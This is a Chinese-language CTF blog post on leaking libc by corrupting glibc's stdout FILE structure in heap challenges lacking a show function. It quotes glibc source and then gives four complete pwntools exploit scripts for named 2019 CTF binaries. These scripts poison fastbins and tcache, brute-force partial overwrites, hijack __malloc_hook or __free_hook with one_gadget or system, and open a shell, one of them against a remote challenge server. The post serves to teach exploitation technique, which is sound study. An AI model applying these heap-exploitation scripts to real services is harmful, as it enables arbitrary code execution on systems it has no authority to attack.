在堆题没有show函数时,我们可以用 IO_FILE 进行leak,本文就记录一下如何实现这一手法。

拿一个输出函数 puts 来说,它在源码里的表现形式为 _IO_puts 。

_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout); if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1); _IO_release_lock (_IO_stdout);
return result;
}

我们可以看到 _IO_puts 又调用了一个叫 _IO_sputn 的函数。

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

它是一个宏,它的作用就是调用 _IO_2_1_stdout_ 里 vtable 所指向的 _IO_XSPUTN,也就是 _IO_new_file_xsputn

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0; ............
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */
if (count > 0)
{
............
if (_IO_OVERFLOW (f, EOF) == EOF)

当 f->_IO_write_end > f->_IO_write_ptr 时,会调用 memcpy 拷贝数据至缓冲区。之后还会判断目标输出数据是否还有剩余。如果还有剩余就要调用 _IO_OVERFLOW 函数,刷新缓冲区。这个函数在 vtable 中为 _IO_overflow ,也就是 _IO_new_file_overflow 。

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
} if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end; f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
............

我们最后想用的就是 _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) 通过它来执行系统调用write函数,来泄露 libc 。想调用它我们得先绕过几个检查:

1、f->_flags & _IO_NO_WRITES == 1 的话就会 EOF ,故我们要使 f->_flags & _IO_NO_WRITES == 0。

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

2、(f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ,这里我们如果这两个条件满足一个就会去执行一些其他的函数,我们最好将其绕过,f->_IO_write_base要泄露数据肯定是不为 NULL 的,故我们要做的就是使 (f->_flags & _IO_CURRENTLY_PUTTING) == 1 。

故满足上述条件 _flags & 8 == 0 , _flags & 0x800 == 1,且 _flags 魔数的常量为 0xfbad0000。 那么此时 _flags == 0xfbad0800。

跟进 _IO_do_write 后会进入 _IO_new_do_write 。

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

其作用是调用 _IO_new_do_write

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

我们最后的目的就是调用_IO_SYSWRITE 来执行系统调用,但在执行系统调用之前我们会经过两个判断,在看了其他师傅的文章都说 else if的那个很难满足,故我们选择去满足前一个条件,及 fp->_flags & _IO_IS_APPENDING,之前 _flags == 0xfbad0800,现在又要满足 _flags & 0x1000 == 1,故我们 _flags == 0xfbad1800,即可满足所有条件。最后我们把 _IO_write_base 改为目标地址,之后在此次遇到puts等输出函数时,及可泄露出该地址里的值。

此外由于我们是通过覆盖 main_arena 来获得 _stdout 的地址的,故我们一定要爆破半字节。

de1ctf_2019_weapon

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') def add(index,size,content):
s.sendlineafter(b'choice >> ',b'1')
s.sendlineafter(b'wlecome input your size of weapon: ',str(size))
s.sendlineafter(b'input index:',str(index))
s.sendafter(b'input your name:',content) def edit(index,content):
s.sendlineafter(b'choice >>',b'3')
s.sendlineafter(b'idx: ',str(index))
s.sendafter(b'new content:',content) def delete(index):
s.sendlineafter(b'choice >>',b'2')
s.sendlineafter(b'idx :',str(index))
def pwn():
add(0, 0x10 ,p64(0) + p64(0x21))
add(1, 0x10 ,b'bbbb')
add(2, 0x60 ,b'cccc')
add(3, 0x10 ,b'dddd') delete(0)
delete(1)
delete(0) add(0, 0x10 ,b'\x10')
add(1, 0x10 ,b'b')
add(0, 0x10 ,b'c')
add(4 ,0x10 ,p64(0) + p64(0x71))
edit(2,b'\x00'*0x48 + p64(0x71))
delete(1)
edit(4,p64(0) + p64(0x91))
delete(1)
#gdb.attach(s)
edit(1,b'\xdd\x85')
edit(4,p64(0) + p64(0x71)) #renew 0x70 fast bin add(5 , 0x60 ,b'eeee') payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x48'
add(6 , 0x60 ,payload) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -131-libc.sym['_IO_2_1_stdout_']
if(libc_base < 0):
exit(0)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0xf0897
success(hex(libc_base))
add(5 , 0x60 ,b'eeee')
delete(5)
edit(5,p64(__malloc_hook-0x23))
add(5 , 0x60 ,b'/bin/sh\x00')
add(6, 0x60 ,b'a'*0x13 + p64(one_gadget))
#add(8,0x10,b'gggg')
#gdb.attach(s)
s.interactive() while True:
try:
s = process('./de1ctf_2019_weapon')
pwn()
except:
s.close()
'''
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL 0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL 0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

nsctf_online_2019_pwn1

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') def add(size,content):
s.recvuntil(b'exit\n')
s.sendline(b'1')
s.recvuntil(b'Input the size:\n')
s.sendline(str(size))
s.recvuntil(b'Input the content:')
s.send(content)
def delete(index):
s.recvuntil(b'exit\n')
s.sendline(b'2')
s.recvuntil(b'Input the index:\n')
s.sendline(str(index)) def edit(index,size,content):
s.recvuntil(b'exit\n')
s.sendline(b'4')
s.recvuntil(b'Input the index:\n')
s.sendline(str(index))
s.recvuntil(b'Input size:\n')
s.sendline(str(size))
s.recvuntil(b'Input new content:\n')
s.send(content) def pwn():
add(0x80 ,b'aaaa') #0
add(0x68 ,b'bbbb') #1
add(0xf0 ,b'cccc') #2
add(0x10 ,b'dddd') #3 delete(0)
edit(1 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
delete(2)
add(0x80 ,b'aaaa') #0
add(0x68 ,b'bbbb') #2=1
add(0xf0 ,b'cccc') #4 delete(0)
edit(2 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
delete(4) delete(1) #fast bin
add(0x80 ,b'aaaa') #0
delete(0)
add(0x80+0x10+2 ,b'a'*0x80 + p64(0) + p64(0x71) + p16((8<<12) + ((libc.sym['_IO_2_1_stdout_'] & 0xfff) - 0x43)))
add(0x68 ,b'bbbb') #1
payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x88'
#gdb.attach(s)
add(0x59 ,payload)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']
if(libc_base < 0):
exit(0)
success(hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf0897 delete(1)
edit(2 , 0x8 ,p64(__malloc_hook-0x23))
add(0x68 ,b'b') #1
add(0x68 ,b'c'*0x13 + p64(one_gadget))
s.interactive() while True:
s = process('./nsctf_online_2019_pwn1')
try:
pwn()
except:
s.close()

roarctf_2019_realloc_magic

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' #s = process('./roarctf_2019_realloc_magic')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def realloc(size,content):
s.recvuntil(b'>> ')
s.sendline(b'1')
s.recvuntil(b'Size?\n')
s.sendline(str(size))
s.recvuntil(b'Content?\n')
s.send(content) def delete():
s.recvuntil(b'>> ')
s.sendline(b'2') def backdoor():
s.recvuntil(b'>> ')
s.sendline(b'3')
def pwn():
realloc(0x70 ,b'aaaa')
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0,b'')
realloc(0xa0 ,b'cccc')
realloc(0,b'')
#gdb.attach(s)
realloc(0x100 ,b'bbbb') for i in range(7):
delete()
realloc(0,b'')
realloc(0x70 ,b'aaaa')
realloc(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0,b'')
#gdb.attach(s)
realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))
libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
if(libc_base < 0):
exit(0)
success('libc_basse=>'+hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322 s.sendline(b'666') realloc(0x120,b'a')
realloc(0,b'')
realloc(0x130,b'a')
realloc(0,b'')
realloc(0x170,b'a')
realloc(0,b'') realloc(0x130,b'a')
for i in range(7):
delete()
realloc(0,b'')
realloc(0x120,b'a')
realloc(0x260,b'a'*0x128+p64(0x41)+p64(__free_hook-8))
realloc(0,b'')
realloc(0x130,b'a')
realloc(0,b'')
realloc(0x130,b'/bin/sh\x00'+p64(system_addr))
delete()
#gdb.attach(s)
s.interactive() while True:
s = process('./roarctf_2019_realloc_magic')
#s = remote('node4.buuoj.cn',26297)
try:
pwn()
#s.interactive()
except:
s.close()

TWCTF_online_2019_asterisk_alloc

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def malloc(size,content):
s.recvuntil(b'=================================')
s.sendline(b'1')
s.recvuntil(b'Size: ')
s.sendline(str(size))
s.recvuntil(b'Data: ')
s.send(content) def calloc(size,content):
s.recvuntil(b'=================================')
s.sendline(b'2')
s.recvuntil(b'Size: ')
s.sendline(str(size))
s.recvuntil(b'Data: ')
s.send(content) def realloc(size,content):
s.recvuntil(b'=================================')
s.sendline(b'3')
s.recvuntil(b'Size: ')
s.sendline(str(size))
s.recvuntil(b'Data: ')
s.send(content) def delete(type):
s.recvuntil(b'=================================')
s.sendline(b'4')
s.recvuntil(b'Which: ')
s.sendline(type)
def pwn():
realloc(0x70 ,b'aaaa')
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0 ,b'')
realloc(0xa0 ,b'bbbb')
realloc(0 ,b'') realloc(0x100 ,b'bbbb') for i in range(7):
delete(b'r') realloc(0 ,b'')
realloc(0x70 ,b'aaaa') payload = b'a'*0x78 + p64(0x41) +b'\x60\x67'
realloc(0x180 ,payload)
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0 ,b'') payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
malloc(0x100 ,payload) libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0
if(libc_base == -0x3e82a0):
exit(0)
success('libc_basse=>'+hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322
realloc(0x120 ,b'aaaa')
realloc(0 ,b'')
realloc(0x130 ,b'bbbb')
realloc(0 ,b'')
realloc(0x170 ,b'bbbb')
realloc(0 ,b'') realloc(0x130 ,b'bbbb')
for i in range(7):
delete(b'r')
realloc(0 ,b'') realloc(0x120 ,b'aaaa') payload = b'a'*0x128 + p64(0x41) + p64(__free_hook-0x8)
realloc(0x260 ,payload)
realloc(0 ,b'')
realloc(0x130 ,b'bbbb')
realloc(0 ,b'') payload = b'/bin/sh\x00' + p64(system_addr)
realloc(0x130 ,payload)
delete(b'r') #gdb.attach(s)
s.interactive()
while True:
#s = process('./TWCTF_online_2019_asterisk_alloc')
s = remote('node4.buuoj.cn',29559)
try:
pwn()
#s.interactive()
except:
s.close()

参考文章

https://hollk.blog.csdn.net/article/details/113845320?spm=1001.2014.3001.5502

IO_FILE——leak 任意读的更多相关文章

  1. _IO_2_1_stdin_ 任意写及对 _IO_2_1_stdout_ 任意读的补充

    之前写过一篇 IO_FILE--leak 任意读,但是在学习的时候偷懒了,没有深入去看,这次碰到 winmt 师傅出的题,就傻眼了,故再写一篇博客来记录一下. 例题 ctfshow Incomplet ...

  2. linux 内核的另一个自旋锁 - 读写锁

    除spinlock外,linux 内核还有一个自旋锁,名为arch_rwlock_t.它的头文件是qrwlock.h,包含在spinlock.h,头文件中对它全称为"Queue read/w ...

  3. 格式化字符串漏洞利用实战之 njctf-decoder

    前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...

  4. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  5. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

  6. Cyber Apocalypse 2021 pwn write up

    Controller 考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell. 1 from pwn import * 2 3 p = ...

  7. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

  8. C++11 并发指南七(C++11 内存模型一:介绍)

    第六章主要介绍了 C++11 中的原子类型及其相关的API,原子类型的大多数 API 都需要程序员提供一个 std::memory_order(可译为内存序,访存顺序) 的枚举类型值作为参数,比如:a ...

  9. NoSQL数据库笔谈(转)

    NoSQL数据库笔谈 databases , appdir , node , paper颜开 , v0.2 , 2010.2 序 思想篇 CAP 最终一致性 变体 BASE 其他 I/O的五分钟法则 ...

随机推荐

  1. Presto 在字节跳动的内部实践与优化

    在字节跳动内部,Presto 主要支撑了 Ad-hoc 查询.BI 可视化分析.近实时查询分析等场景,日查询量接近 100 万条.本文是字节跳动数据平台 Presto 团队-软件工程师常鹏飞在 Pre ...

  2. 阿里神器 Seata 实现 TCC模式 解决分布式事务,真香!

    今天这篇文章介绍一下Seata如何实现TCC事务模式,文章目录如下: 什么是TCC模式? TCC(Try Confirm Cancel)方案是一种应用层面侵入业务的两阶段提交.是目前最火的一种柔性事务 ...

  3. HashMap原理及源码分析

    HashMap 原理及源码分析 1. 存储结构 HashMap 内部是由 Node 类型的数组实现的.Node 包含着键值对,内部有四个字段,从 next 字段我们可以看出,Node 是一个链表.即数 ...

  4. Java反射详解:入门+使用+原理+应用场景

    反射非常强大和有用,现在市面上绝大部分框架(spring.mybatis.rocketmq等等)中都有反射的影子,反射机制在框架设计中占有举足轻重的作用. 所以,在你Java进阶的道路上,你需要掌握好 ...

  5. ArcGIS把导入的shp按渔网区块分割成更小的文件

    前言 前端地图的开发需要导入城市的3D建筑白模,如果直接导入整个城市的json,文件大小高达76M,浏览器会直接崩溃,所以需要用ArcGIS分割成更小的文件后再给前端导入展示. ArcGIS版本:10 ...

  6. 【pwn】学pwn日记——栈学习(持续更新)

    [pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...

  7. 【pwn】学pwn日记(堆结构学习)

    [pwn]学pwn日记(堆结构学习) 1.什么是堆? 堆是下图中绿色的部分,而它上面的橙色部分则是堆管理器 我们都知道栈的从高内存向低内存扩展的,而堆是相反的,它是由低内存向高内存扩展的 堆管理器的作 ...

  8. Winfrom统一单例窗口

    //调用方式 var frm = new MyForm().Instance(); public static class ExFrm { static Dictionary<string, F ...

  9. luis使用手册

    Luis聊天机器人的使用 首先打开luis官网 图5.1  luis官网界面 图5.2  app应用管理界面 界面显示现有应用,显示它们的名称,语言,日期,以及使用次数.点击创建一个新的app应用. ...

  10. 从零开始, 开发一个 Web Office 套件 (2): 富文本编辑器

    书接前文: 从零开始, 开发一个 Web Office 套件 (1): 富文本编辑器 这是一个系列博客, 最终目的是要做一个基于HTML Canvas 的, 类似于微软 Office 的 Web Of ...